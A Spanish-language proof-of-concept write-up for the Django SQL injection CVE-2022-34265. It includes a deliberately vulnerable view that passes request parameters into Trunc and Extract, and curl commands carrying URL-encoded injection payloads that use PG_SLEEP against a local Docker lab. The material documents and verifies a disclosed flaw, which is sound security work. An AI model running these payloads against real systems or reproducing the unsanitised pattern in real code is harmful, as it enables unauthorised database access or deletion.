
PoC para CVE-2022-34265 (Django)
iniciar
docker-compose build
docker-compose up -d
detener
docker-compose down
Una vulnerabilidad (CVE-2022-34265) en Django fue divulgada el 5 de julio de 2022 (hora de EE. UU.). Este artículo describe nuestra discusión sobre esta vulnerabilidad y los resultados de nuestra verificación.
Esta vulnerabilidad se debe a un procesamiento incorrecto de cadenas al ejecutar SQL para los argumentos de las funciones Trunc y Extract utilizadas para datos de fecha en Django. Al especificar los parámetros de la solicitud tal cual en el argumento kind de Trunc o en el argumento lookup_name de Extract, existe el riesgo de que se puedan ejecutar fragmentos SQL arbitrarios.
Al explotar esta vulnerabilidad, un tercero puede enviar comandos a la base de datos para acceder a datos no autorizados o eliminar la base de datos.
Muchas de las vulnerabilidades descubiertas en Django en el pasado fueron vulnerabilidades de inyección SQL, y nos preguntamos si existían otras vulnerabilidades como CVE-2020-7471, por lo que revisamos los argumentos de las funciones de base de datos en orden, encontramos argumentos que no habían sido desinfectados, y Takuto Yoshikai (el autor) informó esto al IPA y al equipo de desarrollo de Django.
Como resultado, en el lanzamiento que resolvió CVE-2022-34265
Se han tomado las siguientes acciones para abordar estos problemas.
vuln/models.py
Usamos un ejemplo de la Documentación de Django, modelo para una tabla que registra la hora de inicio y fin de una fecha.
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
Esto filtra los números de año en la columna start_datetime de Experiment que son iguales al año, mes, día, hora, minuto, segundo, etc. de end_datetime. La vulnerabilidad de inyección SQL podría desencadenarse desde aquí.
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
La función Trunc se utiliza para truncar partes específicas de año, mes, día, hora, minuto, segundo, etc. de datos de fecha y hora. En el ejemplo anterior, start_datetime y start_datetime con la parte del payload truncada son el mismo registro. Aquí es donde se podría desencadenar la vulnerabilidad de inyección SQL.
Para verificar que el ataque tiene éxito, use la instrucción PG_SLEEP para ver si hay un retraso en el tiempo en que se devuelve la respuesta.
# URL normal
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# URL donde se puede ejecutar la instrucción de base de datos
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
He especificado 5 segundos en PG_SLEEP, pero parece que PG_SLEEP(5) tarda varios segundos. Parece que se llama varios segundos dependiendo de la implementación y la situación. Dado que se pueden ejecutar sentencias SQL arbitrarias, son posibles ataques peligrosos como la eliminación de la base de datos.
Como resultado de nuestra discusión y verificación, descubrimos que no hay poca posibilidad de que un ataque tenga éxito dependiendo de la implementación. Recomendamos que actualice su sistema lo antes posible para evitar el riesgo de DROP TABLE en el peor de los casos.